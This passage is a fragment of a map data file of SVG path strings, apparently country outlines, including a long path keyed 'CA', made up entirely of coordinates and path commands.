-4.04,0.94 1.1,0.5 -1.5,1.4 -1.84,1.14 0.85,1.18 -5.19,3.68 -0.97,4.61 3.04,0.63 2.02,5.26 4.61,6.08 0.38,0.89 2.57,2.29 -0.03,1.31 -1.71,-0.33 -3.98,-0.32 -4.77,-1.14 0.2,0.17 1.18,1.11 3.05,1.01 1.24,0.82 5.05,3.07 1.14,3.56 -0.82,1.12 -4.41,1 -1.66,1.07 0.15,1.25 2.24,-0.9 3.32,0.96 1.68,7e-4 -2.37,2.24 -0.01,0.92 1.46,1.66 -2.03,0.31 -0.33,1.92 0.25,0.71 -2.53,0.11 -0.44,0.9 0.21,2.07 -1.3,-0.07 -2.09,1.69 -0.34,-1.27 0.17,3.3 -1.32,1.9 0.31,1.21 -1.28,2.5 -1.15,1.82 -1.91,-0.55 1.16,1.12 -1.18,1.94 -2.52,-0.3 1.93,-0.49 0.12,1.08 0.75,1.16 -1.52,-0.46 -0.8,1.16 -1.3,-0.69 -1,1.85 -2.11,1.43 -1.44,0.56 -1.84,0.37 -1.2,1.22 -0.58,1.11 -3.91,1.83 -3.53,2.7 -0.54,1.17 -3.16,1.16 -3.37,1.31 -0.21,0.3 -1.88,0.26 -2.25,0.37 -0.4,-0.54 -0.32,1.21 -1.98,0.36 -1.09,0.06 -1.43,-1.98 -0.79,-1.66 -2.48,0.28 0.3,1.37 -0.8,2.65 -1.59,-2.37 0.45,1.1 -1.14,0.16 -0.53,2.04 -2.1,-0.49 -2.11,1.18 -1.28,-0.82 -3.27,1.61 -4.19,0.79 -0.95,0.09 -1.82,1.58 -1.18,1.78 1.08,2.17 -1.87,1.65 -1.57,0.11 -0.21,-1.58 0.77,-2.41 -0.73,-2.43 -0.66,1.54 -1.9,-0.84 -2.21,-0.27 -0.84,-1.36 -0.36,1.63 -2.6,0.24 -1.39,0.29 -4.02,-1.33 -2.89,-2.75 -0.33,-1.32 -3.39,-0.8 -4.13,-1.88 -1.6,1.63 -3.37,1.75 -4.75,2.01 -0.87,-0.55 -1.87,0.5 -2.97,-0.31 -0.93,1.27 -3.59,0.13 -1.88,2.76 1.13,2.12 -2.19,1.84 -1.82,-0.17 -3.05,2.72 -2.46,-1.51 -5.31,-0.98 0.41,-1.66 1.61,-2.8 -0.66,-3.07 -0.66,-2.14 -0.16,-3.51 -3.08,-2.08 -1.52,-0.11 -0.44,-4.15 1.31,-4.64 1.63,-0.67 1.84,-5.2 0.32,-5.63 -0.62,-0.82 -1.93,-3.56 -3.2,-1.93 -1.58,-0.67 -3.46,0.33 -2.03,-1.74 -0.71,-0.71 -1.24,0.1 -0.84,-1.18 -1.66,-0.28 -3.02,1.33 -4.67,0.18 -3,0.65 -5.1,5 -7.99,3.9 -2.19,-0.27 -4.92,-2.17 -6.72,0.26 -1.39,2.29 -0.88,0.42 -1.34,-0.74 -2.24,1.12 -6.05,-0.24 -7.37,0.15 -1.72,-1 -3.07,-1.32 -5.2,-2.73 -2.13,-0.8 -4.8,-3.35 -7.47,-3.95 -1.43,1.75 -3.37,-1.06 -4.89,-1.65 -1.25,-0.09 -1.77,-1.57 -2.84,-1.23 0.24,-1.36 -2.08,-4.64 0.61,-2.74 3.94,-1.31 -2.27,-3.7 -0.23,-5.46 -2.53,-0.9 -2.49,-4.23 -5.76,-3.62 -1.19,-0.91 -2.65,-0.68 -2.66,-2.99 -1.4,-0.97 -5.85,-1.1 -2.11,-2.04 -0.68,-1.91 -0.62,-4.36 -3.56,-3.51 0.02,-1.05 -0.58,-1.09 -0.48,-2.31 z m 97.06,56.63 c -1.11,3.9 4.72,3.69 5.27,0.66 1.63,-1.13 0.73,-3.74 -0.44,-2.35 -2.21,-0.55 -3.09,0.13 -4.83,1.69 z m 14.89,-8.96 c 1.82,-0.56 0.14,1.44 0,0 z",
CA:"m 244.83,107.58 c 2.56,-1.73 -4.42,-1.05 -3.23,-0.93 1.16,0.78 3.66,0.35 3.23,0.93 z M 104.71,86.08 c 3.08,-0.45 -0.47,0.88 2.33,2.09 2.62,1.96 -2.81,-1.34 -2.42,-1.74 -1.02,0.29 -0.33,-0.53 0.09,-0.35 z m -1.61,-1.25 c -1.31,-3.08 3.61,-0.28 1.49,-0.2 -0.93,0.47 3.48,-2.79 1.31,-0.11 0.03,2.3 -3.46,1.11 -1.72,0.94 0.13,-0.07 -2.15,-0.68 -1.07,-0.63 z m 7.14,-1.3 c -1.97,0.46 -0.13,0.25 -0.04,0.57 0.33,0.02 0.37,-0.51 0.04,-0.57 z m 0.86,1.37 c 2.1,1.83 1.37,-0.53 -0.62,-0.93 l 0.14,0.3 z M 309.76,101.63 c -3.74,1.04 -2.32,-2.06 0.32,-2.47 -0.97,0.04 -3.66,0.15 -1.35,-0.7 -0.84,1.41 2.48,-1.8 2.19,-0.65 0.19,-0.53 -0.89,-1.18 0.45,-1.6 0.95,-2.81 2.42,-5.02 5.54,-5.58 2.59,-0.18 -1.89,0.8 0.31,1.17 -0.88,0.61 -4.78,5.96 -1.61,3.18 0.66,-0.31 3.99,0.11 1,0.89 -1.13,0.11 1.44,-0.04 -0.42,0.73 1.61,0.2 3.54,-0.84 2.04,1.08 1.8,-1.07 2.61,-1.46 5.38,-0.6 -0.87,1.02 -2.5,1.19 -1.2,1.4 0.05,0.34 0.89,0.09 -0.7,1.12 0.85,-0.39 5.1,-1.26 1.4,0.5 -1.56,0.18 0.51,0.26 -0.6,1.31 0.53,1.55 3.59,-3.11 1.88,-0.13 -0.79,1.96 2.57,-1.37 1.04,1.65 -1.29,3.05 -2.65,0.4 -2.49,0.31 -2.83,2.91 0.95,-4.13 -1.92,-1.48 -0.31,0.75 -1.34,0.25 -2.54,1.84 -5.04,0.91 3.13,-2.34 0.7,-1.86 0.01,-0.95 -1.74,0.99 -2.54,0.22 -0.35,0.19 1.48,-1.19 -0.49,-0.8 -1.06,1.54 -4.96,-0.09 -6.38,0.48 z m -13.97,-6.19 c 1.75,0.03 7.41,2.68 2.62,2 -1.7,-0.27 -9.04,-3.24 -2.62,-2 z m 4.16,7.1 c 0.66,-1.17 2.5,-1.07 0.33,-0.31 1.28,-1.24 -0.82,1.46 -0.33,0.31 z m 1.76,4.82 c -1.8,-2.58 4.69,-5.31 2.21,-1.89 0.47,0.45 -2.17,0.92 -0.8,0.9 -2.04,1.42 2.53,0.05 0.14,0.01 2.15,-0.94 -0.29,-0.55 1.6,-0.81 2.95,0.15 -1.22,2.57 -3.16,1.8 z m -6.54,-1.87 c -0.58,-0.96 -3.25,-1.11 -0.83,-2.23 -0.95,2.98 4.97,1.1 5.26,1.88 -1.31,0.29 -1.93,2.05 -2.6,0.23 -0.48,0.53 -1.25,0.39 -1.82,0.12 z M 146.14,38.73 c 2.04,2.16 5.73,2.16 9.08,2.11 1.9,0.06 2.05,3.48 5,1.99 3.34,-0.06 4.47,-0.1 8.62,-0.48 2.71,-0.39 5.75,-1.68 7.96,-1.82 0.12,1.1 4.45,0.21 3.52,1.24 2.83,-0.26 7.06,1.05 9.03,-0.86 -0.38,-0.8 -2.91,-0.99 -3.76,-0.03 1.4,-0.93 -2.45,-1.6 0.72,-0.97 2.01,-1.22 4.15,-0.13 5.74,-0.72 -1.83,-1.48 -4.91,-1.85 -7.57,-2.29 -1.3,-0.45 -3.98,-1.07 -2.25,-2.41 -2.43,-2.5 -4.5,-5.8 -8.66,-4.99 -3.42,-1.76 -2.11,2.72 0.38,3.84 -3.4,2.2 -3.08,-2.67 -6.23,-2.63 -1.42,-0.87 -5.32,-0.51 -1.4,0.18 0.95,0.32 -1.7,-0.12 0.11,0.65 -0.55,-0.65 -6.22,1.4 -4.5,0.11 2.51,-1.3 -6.37,-2.15 -5.77,-0.39 -0.62,-0 -4.26,0.38 -0.94,-0.68 -0.75,-3 -6.07,-0.2 -8.52,-0.27 -1.42,0.62 -5.7,1.08 -3.04,2.03 -1.61,0.03 -4.53,1.63 -1.3,1.71 3.11,-0.04 1.83,-0.01 1.51,0.64 2.2,0.34 7.16,-0.7 7.75,-0.15 -0.67,0.01 -3.39,0.09 -1.34,0.17 -1.74,0.94 -6.48,-0.16 -6.63,1.54 3.31,1.26 7.06,0.66 10.55,0.55 2.33,0.08 6.76,0.17 7.64,1.17 -4.22,0.32 -8.48,-0.56 -12.71,0.23 -1,0.12 -2.1,-0 -3.01,0.54 z m -51.48,2.87 c 1.51,-0.44 0.54,0.2 0,-0.73 2.66,0.85 -1.13,-0.61 1.69,-0.17 0.89,-0.89 6.58,-1.37 2.64,0.17 -1.82,0.74 1.69,2.23 -0.86,0.9 -1.04,-0.24 -2.37,0.11 -3.48,-0.17 z m -11.14,24.71 c -4.74,0.6 -2.53,-5.35 -2.97,-8.32 0.51,-5.66 -0.5,-11.32 0.04,-16.99 0.37,-3.03 6.07,-0.4 8.15,0.13 1.99,0.48 7.51,1.29 7.51,0.89 -1.1,-1.47 5.34,1.78 2.19,-0.64 2.81,-0.87 5.93,-2.03 6.76,-1.83 2.59,-0.42 4.86,-1.4 6.95,-1.35 1.76,1.12 -5.93,1.39 -3.63,2.45 0.33,-0.17 4.33,-2 5.58,-1.66 -1.4,1.69 4.21,-1.53 3.24,-1.01 -3.01,-1.53 3.09,-0.15 3.51,1.65 0.73,1.14 5.49,0.83 2.6,0.69 1.65,-0.06 -0.15,-1.24 2.02,-0.79 -3.09,-0.18 2.76,-1.13 -0.53,-0.74 -1.08,0.04 2.55,-0.88 1.76,0.74 2.39,-0.25 -1.7,1.07 0.84,1.05 3.31,-1.3 7.01,-1.88 10.62,-0.29 3.1,0.19 9.75,2.4 10.88,1.31 2.3,-0.71 9.6,1.99 3.82,2.28 -3.69,1.21 3.34,1.18 5,1.34 3.05,0.26 6.43,-0.99 8.67,-0.54 2.92,1.04 3.42,0.68 5.84,2.08 -1.21,0.61 -2.78,-0.51 -0.62,0.69 0.02,0.11 4.35,2.54 1.08,0.32 -0.2,-1.47 2.67,0.58 0.4,-1.56 -1.79,-2.45 -0.5,-1.93 2.44,-2.39 1.25,-0.6 4.56,-1.41 1.27,-1.14 -1.22,1.15 -5.07,0.43 -4.44,1.07 -2.82,0.55 -2.81,-1.33 0.45,-1.36 2.84,-1.2 5.87,-0.6 7.18,1.02 2.5,0.5 6.03,1.19 9.28,1.53 3.16,-0.39 6.32,0.22 9.42,-0.09 -3.13,-1.65 6.02,1.92 2.48,-0.46 -1.47,0.42 -3.22,-0.33 -2.65,-0.73 -1.46,-0.58 1.58,-0.36 2.14,-0.86 1.7,0.7 3.29,0.69 3.14,1.29 3.15,-2.04 -0.1,1.34 0.82,1.78 0.03,0.71 2.07,0.16 1.6,0.63 2.8,1.45 -4.59,-0.3 -0.84,1.17 1.91,1.41 -1.85,-1.34 1.34,-0.34 2.24,-1.01 -2.52,-3.19 1.31,-3.24 2.32,-0.41 5.92,-1.92 2.95,-2.58 1.52,0.95 -3.62,0.77 -0.77,-0.19 0.69,-0.24 -0.97,-1.12 1.23,-1 1.07,-0.19 -1.05,1.24 1.2,0.11 -1.98,-0.81 -6.79,-0.11 -8.7,-2.42 0.49,-1.44 2.05,-0.47 1.56,-1.36 -3.41,0.98 -1.2,-3.45 0.98,-1.7 0.81,-1.07 -2.56,-0.64 0.04,-1.02 1.52,-0.69 3.3,-0.36 0.61,-0.67 2.31,-0.94 1.96,1.17 4.35,0.52 1.51,0.23 2.43,2.42 2.9,2.66 1.31,1.26 5.29,1.89 1.1,1.83 -0.59,0.47 2.37,0.22 -0.18,0.8 -2.2,0.78 0.07,0.46 1.98,0.93 0.32,-0.62 2.69,-0.19 0.6,0.02 2.11,-0.14 4.46,0.1 1.28,0.73 -1.45,-0.18 2.86,0.97 1.26,2.35 2.09,1.79 1.56,-2.7 4.37,-2.24 1.94,-0.05 4.58,3.11 1.77,2.69 0.16,2.3 2.94,3.74 4.7,2.5 1.67,-1.64 2.36,-4.21 4.92,-4.09 -2.14,-0.41 2.15,-0.47 -0.59,-0.85 -1.27,-0.32 -2,-2.61 1.21,-1.98 1.52,0.28 6.69,0.22 5.83,0.88 -3.77,0.13 1.61,-0.21 0.99,0.83 2.21,-0.61 3.43,0.98 0.4,0.98 3.59,-0.39 1.24,1.58 -0.92,1.12 -1.08,0.83 2.57,1.41 3,3.55 -2.46,1.68 -6.78,3.08 -7.84,1.39 -1.45,-0.72 -0.92,-1.23 -3.01,-0.4 2.13,-0.37 2.4,0.17 3.84,1.87 -1.74,-0.44 -1.92,-0.44 -2.14,-0.01 -1.88,-0.53 -4.67,-1.55 -6.03,-0.58 5.01,0.23 -1.93,4.21 -4.04,2.76 -2.46,-0.63 -0.25,-0.53 -0.98,-0.62 -1.3,-0.23 -4.45,-1.31 -3.5,-0.51 -0.92,-0.36 -5.89,-0.27 -2.81,-0.25 3.62,0.89 7.31,1.87 10.82,2.38 -1.03,1.96 -5.91,3.47 -5.86,3.16 -2.55,-0.41 -1.86,-1.03 -3.11,0.91 -2.26,0.36 -8.59,-1.05 -9.49,-1.16 -1.29,0.69 5.54,0.37 3.02,1.39 2.48,-1.49 7.83,1.65 2.78,2.06 -2,-0.32 -2.91,0.06 -1.22,0.73 -2.3,-0.36 -2.13,1.41 -2.74,0.73 -0.46,1.4 -2,0.53 -1.39,1.69 -2.08,0.11 -1.69,3.18 -3.61,3.39 1.24,2.05 -1.5,4.67 0.69,4.72 1.72,0.47 -0.41,2.56 0.92,0.17 3.52,-1.7 5.11,4.92 4.09,5.11 2.05,-0.87 -0.14,0.49 2.28,-0.39 3.91,-0.93 8.29,0.43 11.65,2.49 1.68,0.86 7.67,1.82 6.77,3.05 3.47,-1.04 5.34,-0.15 8.43,0.06 -0.75,2.1 0.08,4.64 0.26,6.34 0.95,0.51 2.19,1.47 0.57,1.79 1.75,-0.47 5.9,2.21 2.48,3.28 1.45,-1.58 4.45,0.08 4.46,0.44 -2.57,-2.9 1.98,-1.26 1.46,-1.41 -0.03,-0.6 0.01,-1.95 0.9,-2.64 -0.74,-1.25 -1.02,-2.3 -1.44,-3.61 0.46,-0.89 -0.11,-1.27 -1.11,-2.3 -0.61,-1.94 5.15,-1.38 6.52,-3.51 4.22,-2.81 -0.03,-7.89 -3.79,-8.31 0.71,-1.66 2.34,-2.57 2.83,-3.18 2.16,-0.49 -1.96,-1.63 0.02,-2.24 -1.18,-0.38 -0.34,-0.96 -1.74,-0.73 1.34,-1.63 1.99,-2.18 -0.12,-3.43 1.39,-3.46 6.51,0.15 7.76,-0.76 1.59,0.83 7.15,-1.66 7.06,1.25 2.62,-0.24 1.07,0.89 3.46,0.75 -2.6,1.14 3.21,1.14 4.45,2.06 2.49,-1.25 0.42,0.81 0.74,2.26 -1.55,0.38 -5.34,-0.21 -1.48,0.2 2.84,-0.45 0.35,2.25 2.73,2.1 -0.79,0.38 -1.21,1 -1.63,0.92 -3.1,1.8 5.98,-1.97 3.87,2.16 -2.05,0.74 -3.51,1.21 -0.56,0.39 0.74,-0.84 2.92,-2.33 1.42,-0.37 1.54,-2.1 0.73,1.37 1.52,-0.15 2.02,-1.1 3.96,-2.16 4.54,-0.78 -0.45,-1.4 -0.11,-1.39 1.63,-1.63 -1.87,-0.2 -0.13,-1.63 0.85,-0.95 -3,-1.08 0.71,-0.99 -0.29,-1.45 0.91,-2.07 2.88,-0.97 0.98,-0.29 1.57,-0.58 2.12,1.13 2.7,1.58 -0.6,0.25 2.61,0.74 -0.48,1.01 1.67,-0.01 2.25,0.09 2.22,0.58 2.6,0.65 -3.13,1.67 0.2,1.16 1.49,-0.33 1.62,0.85 -0.52,1.25 1.9,-0.82 2.82,-0.05 2.23,0.08 0.83,-0.29 2.46,1.54 0.07,1.35 2.52,0.36 3.26,1.57 1.98,2.24 -0.58,0.44 -2.7,-0.45 -0.87,-0.35 -3.2,-0.39 1.42,0.76 -0.46,0.58 3.04,0.12 -1.17,0.41 1.49,0.85 -0.49,0.02 -1.23,0.41 0.92,0.26 -0.3,1.01 2.15,1.52 2.48,1.25 0.63,1.08 0.41,1.41 -0.1,1.83 -1.42,0.88 2.43,-1.21 0.72,0.34 2.06,-1.37 0.58,-0.05 2.32,-0.32 -1.99,1.75 -0.59,0.5 0.78,-0.21 -0.83,0.96 3.44,0.91 4.93,1.94 -0.91,0.27 -0.18,0.2 -2.27,0.57 -1.84,0.6 -5.63,1.13 -1.65,0.57 2.38,-0.14 -3.16,0.98 -4.22,1.44 -2.7,-0.93 -0.89,-0.3 0.64,0.4 -2.33,1.52 3.75,-1.61 5.49,-1.72 1.43,0.01 -2.41,-0.46 0.42,-0.41 1.33,-0.34 3.51,1.41 1.11,1.71 1.48,0.47 2.57,-1.08 3.17,0.01 0.44,-0.43 2.91,1.71 0.64,1.58 1.75,0.56 -0.62,0.7 1,1.17 -2.22,0.27 -1.65,-0.28 0.39,0.74 -2.99,-0.77 1.74,0.68 -1.38,1.45 -2.37,2.12 -6.86,0.27 -7.89,2.97 -1.65,1.5 -6.45,2.06 -7.47,1.84 -3.18,-0.9 -6.5,0.01 -9.77,-0.48 -3.36,-0.48 -4.38,1.16 -6.78,2.81 -2.39,0.17 -3.24,1.57 -5.77,3.28 -1.99,-1.07 -5.18,-0.85 -1.58,-0.48 5.12,0.4 -6.41,5.83 -0.69,3.68 3.03,-2.92 6.6,-5.2 10.86,-5.86 1.82,-1.26 7.93,0.03 6.2,0.88 1.62,1.52 -3.47,2.53 -4.77,1.78 -4.06,0.15 1.22,0.69 2,1.16 3.73,-1.32 0.07,1.86 0.75,1.84 1.83,0.1 0.7,3.59 3.79,2.65 -1.76,0.9 3.54,1.02 3.53,1.41 1.87,-1.26 6.01,1.52 2.29,1.42 -2.69,0.95 -5.02,1.96 -6.51,1.47 -0.37,0.6 -2.85,2.58 -3.65,2.69 -1.04,1.1 -3.75,-1.22 -1.3,-2.57 -2.36,0.6 1.63,-0.33 0.76,-0.7 2.73,-1.8 3.52,-0.2 5.5,-1.39 1.65,-0.88 -5.93,0.77 -2.59,-1.05 1.32,-0.18 -1.05,-1.65 -0.69,0.14 -1.72,1.42 -4,0.4 -3.9,1.17 -2.12,0.93 -3.27,-0.09 -4.35,-1.4 0.03,-2.33 -0.19,-5.65 -3.46,-4.3 -2.45,-1.44 -3.52,4.25 -5.14,5.43 -2.9,1.15 -7.13,0.8 -10.76,0.87 -2.86,0.95 -5.35,2.75 -7.94,2.49 5.27,0.89 -3.8,-0.49 -5.56,1.57 -1.62,1.44 2.98,0.61 1.28,1.92 -1.93,-0.43 -4.04,0.88 -3.2,0.9 -3.13,-1.58 -5.29,2.34 -7.94,1.28 -0.31,-1.39 2.97,-0.16 1.48,-1.37 1.6,-1.89 3.6,-4.31 3.26,-6.92 -0.97,-1.69 1.66,1.48 1.9,1.01 1.71,1.67 2.32,-1.01 2.7,-0.39 -1.01,-1.37 -1.51,-2.43 -3.69,-3.12 -1.7,-0.13 -2.37,-0.91 -5.5,-0.7 -2.21,-0.29 -4.55,-0.92 -4.02,-2.13 -1.25,-0.79 -0.48,-3.83 -3.11,-2.77 -1.63,-1.3 -2.66,-2.91 -5.18,-2.61 -1.96,-1.73 -1.99,1.66 -2.83,0.8 1.4,-2.08 -2.07,1.92 -0.71,0.05 -2.26,2.27 -5.62,0.96 -8.19,1.03 -2.23,-0.69 -4.28,-1.2 -6.83,-1.39 -1.67,0.55 -2.07,-3.73 -2.84,-0.91 -25.35,0.01 -50.71,-0.04 -76.06,0.02 -2.68,-0.23 0.16,-0.72 -1.56,-1.48 0.63,-0.24 -3,0.57 -1.83,-0.34 1.39,0.7 -0.1,-0.79 -0.32,-1.6 1.24,1.36 -2.46,1.77 -2,-0.42 2.07,-0.8 -2.61,1.02 -0.39,-1.08 0.32,-1.28 -1.91,2.58 -1.73,0.17 -1.48,1.22 -3.29,-0.16 -0.71,-0.12 1.57,-1.91 -1.47,1.23 -1.36,-0.4 -1.97,-0.13 0.79,0.11 -0.92,-0.51 -0.99,1.23 -4.7,-0.38 -1.06,-0.09 2.02,-0.15 -5.01,0.1 -1.14,-0.68 0.94,-0.02 -2.68,0.12 -0.33,-0.91 3.19,-0.33 1.8,0.01 -0.1,-0.34 -0.48,1.5 -1.85,-0.46 -0.45,-0.97 1.47,-1.47 2.44,0.87 2.2,-0.78 -2.45,0.23 0.84,-2.3 -1.41,-0.25 -3.01,1.39 -0.76,-1.05 -2.99,0.49 1.7,-2.23 -1.07,-1.48 -1.47,-3.57 1.57,0.74 4.05,0.59 0.74,0.17 -0.3,-1.19 0.68,-1.5 -0.94,-0.78 -1.22,2.51 -3.85,-1.63 -2.38,-0.97 2.73,-0.79 -2.3,0.68 -1.47,-1.41 2.99,1.86 -1.4,-0.85 1.53,0.03 -2.29,-0.51 2.4,-1.37 -0.15,-1.06 -0.32,-1.5 1.91,-0.87 0.29,-1.81 -0.41,3.34 -0.83,0.2 -0.77,-1.31 -2.81,-0.83 -5.59,-1.48 -6.98,-4.04 -1.8,-2.74 -5.22,-3.62 -7.04,-5.94 -2.86,-1.73 -4.34,2.92 -6.63,1.49 -2.57,-1.25 -4.45,-4.25 -6.79,-3.03 z M 221.95,34.56 c 2.71,1 5.66,0.09 8.24,1.27 -2.22,0.9 -9.4,-1.53 -5.2,1.22 1.53,0.7 2.86,0.59 2.55,0.77 0.85,0.02 3.21,0.3 2.68,-0.32 1.12,0.64 1.95,-0.71 1.86,0.68 1.49,0.87 4.22,0.59 2.18,0.28 3.62,0.1 7.47,0.79 10.93,0.47 -1.54,-0.51 -5.12,-1.38 -1.54,-0.59 1.34,0.63 6.02,1.49 2.2,0.35 0.08,-1.25 7.06,1.95 7.56,-0.38 -1.85,-1.2 -2.64,-0.17 -0.89,-1.44 -0.2,1.08 4.01,0.75 4.52,2.45 2.36,-0.76 -0.69,-0.06 1.66,-0.06 -1.72,1.35 2.73,-0.25 1,0.89 2.05,0.14 3.5,1.75 0.3,1.21 -2.45,1.88 2.27,0.12 3.42,0.41 1.54,-0.85 -0.26,0.19 1.01,0.3 0.43,0.41 2.55,1.08 2.17,0.23 0.79,-0.08 0.08,2.04 1.89,0.94 -0.33,0.35 5.21,3.53 0.97,4.11 1.44,1.85 5.43,-0.13 5.88,-0.08 2.46,1.07 4.84,1.21 3.7,1.53 1.81,0.54 -4.94,0.46 -4.75,1.06 0.01,-2.73 -6.31,-2.19 -8.61,-0.71 -1.09,1.08 4.69,2.44 0.63,2.21 -1.59,0.93 -6.76,0.13 -3.2,1.49 -1.08,1.55 0.2,-1.12 -2.6,-0.91 -2.86,-1.04 -3.86,0.32 -5.85,1.69 1.76,1.72 5.55,1.53 6.77,0.64 0.57,-0.23 4.81,0.61 3.08,-0.99 0.05,0.06 1.43,0.67 1.71,0.62 0.12,1.1 1.18,-0.27 2.6,-0.01 -0.96,1.59 3.24,2.18 2.96,2.51 0.09,-0.66 4.07,0.75 0.7,0.77 -2.35,0.11 4.13,1.16 1.91,1.18 2.86,0.97 4.35,0.24 6.19,1.79 2.74,0.47 5.5,1.08 8.25,1.35 -0.11,-1.4 -3.05,-2.23 -4.52,-3.16 0.28,0.51 -6.01,-2.56 -1.86,-1.87 0.75,0.85 2.44,1.17 0.93,-0.21 2.43,1.5 3.49,1.89 4.08,1.85 0.64,0.73 1.16,-0.32 1.42,0.39 0.89,-0.66 3.78,2.4 1.81,-0.11 3.01,0.9 -0.41,-1 0.83,-1.64 -1.68,-1.57 2.26,2.56 1.18,-0.34 -2.02,-0.73 1.47,0.53 -0.06,-0.55 -0.74,0.15 -1.62,-0.58 -2.38,-1.1 2.33,-0.84 -1.46,-0.09 -0.68,-1.53 -1.39,0.67 -1.8,-0.3 -3.29,-0.56 1.09,0.07 -2.18,-0.92 -0.55,-1 -0.61,-0.17 -1.18,-1.48 -2.49,-0.34 0.66,-1.39 -1.83,-1.01 -0.41,-1.69 -3.28,-0.22 -0.55,-0.65 0.36,0.35 1.4,0.92 3.34,-0.39 0.73,-0.91 -0.34,-0.79 1.69,0.46 1.59,-0.39 -2.57,-0.4 1.89,-1.03 1.78,0.63 0.62,-3.6e-4 2.8,0.28 2.55,-0.25 -3.14,2.77 5.99,-1.54 2.2,0.69 0.2,-0.06 -3.5,1.07 -0.92,1.05 1.72,-0.54 -1.63,0.94 0.94,0.09 -2.62,1.42 2.76,0.13 -0.19,1.01 1.53,0.83 1.55,-0.56 2.22,0.61 1.17,0.58 2.78,-0.06 1.4,-1.24 1.62,-0.12 -1.32,-0.27 0.4,-0.69 -0.89,-0.48 1.85,0.54 1.79,0.4 0.67,-0.07 -0.68,-0.71 1.16,-0.73 -2.52,-0.99 -0.79,-0.18 0.82,-0.38 -1.27,-0.83 -3.37,-0.63 -0.79,-0.79 -2.45,-0.74 4.59,0.41 1.13,-0.3 2.25,-0.38 -2.45,-1.11 0.97,-0.46 1.55,-0.43 -1.67,-1.37 -1.27,-0.96 -0.95,-0.51 -0.81,0.6 -1.97,0.07 -0.18,1.16 -0.94,-1.11 -1.87,0.21 -2.87,0.77 3.39,-1.95 -0.02,-1.18 -1.5,1.27 0.78,-0.56 -1.58,-0.05 -3.98,1.04 0.11,9e-5 -0.62,-0.1 -1.35,0.09 -1.97,0.32 -0.19,0.02 -3.48,-0.35 2.89,0.16 -0.07,-0.52 1.73,-0.83 -1.75,-0.41 -0.64,-1.02 -1.8,0.47 -1.63,0.18 -1.1,-0.59 -1.8,0.51 -0.91,1.28 -2.16,0.13 -1.76,1.97 0.61,-1.73 -1.97,0.31 -0.71,0.48 1.07,-1.45 -0.6,-0.45 -0.14,-0.72 -2.05,-0.68 -2.02,-0.37 1.82,-1.02 -3.16,-0.02 0.29,-0.66 3.62,-0.25 -1.59,0.13 -1.2,-0.42 -2.23,0.35 -3.54,-0.45 -1.47,-0.47 -2.95,-0.13 -3.87,-0.62 -0.53,-0.23 3.06,0.22 -1.26,-0.43 1.24,-0.2 -3.57,-0.65 3.2,-0.18 -0.81,-0.82 -1.4,0.06 -3.08,0.56 -0.81,-0.05 -1.69,-0.24 3.47,0.06 -0.32,-0.43 -2.79,-0.31 3.01,0.39 4.25,0.43 3.6,-0.32 -3.05,-1.18 -4.23,-1.1 -1.64,0.31 -5.3,0.06 -1.61,0.07 1.3,-0.57 6.18,0.08 5.48,-1.19 -2.02,-2.05 -6.01,1.39 -7.26,0.68 1.17,-0.37 5.27,-1.09 1.79,-1.36 -2.38,0.73 -3,1.41 -1.98,0.48 -0.04,-0.45 7.62,-1.24 2.53,-1.95 -1.79,-0.5 -5.98,1.51 -2.17,-0.25 -1.99,-1.75 -5.75,4.13 -3.67,0.87 -1.39,0.36 -3,0.73 -0.92,-0.28 2.35,0.43 3.3,-2.55 0.37,-0.87 -2.24,0.27 -3.61,1.29 -3.14,0.22 -1.43,-0.47 6.13,-0.74 2.1,-2.04 -2.47,-1.32 -4.97,2.51 -4.37,0.64 -1.21,0.07 -1.92,1.54 -0.58,-0.15 -0.29,-1.59 -2.71,1.19 -1.59,-0.17 -2.22,0.38 3.08,-1.33 -0.06,-0.85 -0.1,0.74 -1.76,-0.49 -2.05,1.28 -0.09,0.53 -0.27,-0.92 -0.62,-0.7 2.68,-0.88 -3.2,0.48 0.18,-0.36 -3.59,0.15 5.52,-0.88 0.49,-1.42 -1.76,0.39 -4.96,2.19 -1.67,0.37 -0.55,-0.71 -4.52,0.91 -1.06,-0.29 3.82,0.34 0.2,-1.94 -1.12,-1.17 -1.6,-1.42 -9.64,-0.02 -4.52,0.85 4.93,0.93 -4.8,-0.98 -1.85,0.48 1.22,0.45 2.74,1.09 0.5,0.32 1.89,1.25 -2.8,-1.31 -1.85,0.02 0.15,-0.46 -1.27,-1.66 -2.1,-0.86 -0.92,-1.7 -0.87,0.99 -0.75,0.25 -1.18,-0.77 -2.75,1.87 -2.85,0.28 2.17,0.26 -0.56,-0.31 1.3,-1.04 -2.36,-0 -2.3,0.98 -0.14,-0.53 1.4,-0.93 -1.83,-1.85 -2.94,-2.97 -2.09,-0.41 -6.81,0.29 -6.06,0.8 -1.51,-0.32 -5.69,0.56 -1.78,0.82 5.62,0.68 -6.33,-0.58 -1.39,0.53 1.79,0.35 3.42,0.63 0.69,0.19 -4.06,-1.18 -2.46,2.08 -0.25,1.35 1.59,-0.17 -1.23,0.49 1.24,0.8 1.01,0.88 -3.06,-1.56 -3.72,0.14 -2.2,-0.05 1.07,0.69 1,1 2.38,-1.22 2.32,3.18 0.62,1.73 1.64,-1.16 -7.5,1.08 -2.57,-0.17 1.14,-0.24 5.04,-0.29 1.75,-1.12 -2.5,-0.11 -2.64,-1.91 -3.1,-2.94 -2.31,-1.94 7.89,-3.35 2.28,-3.48 -3.25,0.13 -8.61,-0.33 -10.1,2.89 -2.02,0.44 -1.5,2.27 -1.83,3.77 z m 17.02,15.33 c -3.46,-1.07 1.37,1.92 1.69,0.82 -1.41,0.06 -0.8,-0.36 -1.69,-0.82 z m -0.03,9.98 c 1.39,2.91 8.62,-2.63 3.09,-1.16 -1.48,-0.19 -2.07,0.18 -3.09,1.16 z m -30.66,-27.28 c -1.81,0.47 2.85,0.93 2.9,-0.19 3.01,-1.16 -3.6,-1.76 0.63,-1.67 3.1,0.96 5.95,-0.21 6.97,-1.94 1.64,-0.5 3.5,-1.37 0.63,-1.39 -3.64,0.32 -7.1,-0.84 -10.81,-0.27 -3.63,-0.14 2.04,1.87 -1.22,1 -2.17,-0.37 -1.37,3.3 0.12,3.74 -1.18,1.25 2.23,0.47 0.8,0.72 z m 25.75,23.64 c 0.29,3.94 4.97,0.02 6.58,-1 2.13,0.26 4.2,2.58 7.81,1.32 1.24,-0.34 -0.29,-1 -1.25,-1.17 -2.11,0.15 -2.67,0.67 -2.12,-0.99 -2.59,-0.83 -6.29,-3.41 -8.61,-2.21 -0.52,-1.61 -3.19,-3.22 -3.68,0.18 -0.48,2.35 0.11,3.46 -2.81,3.95 0.12,1.08 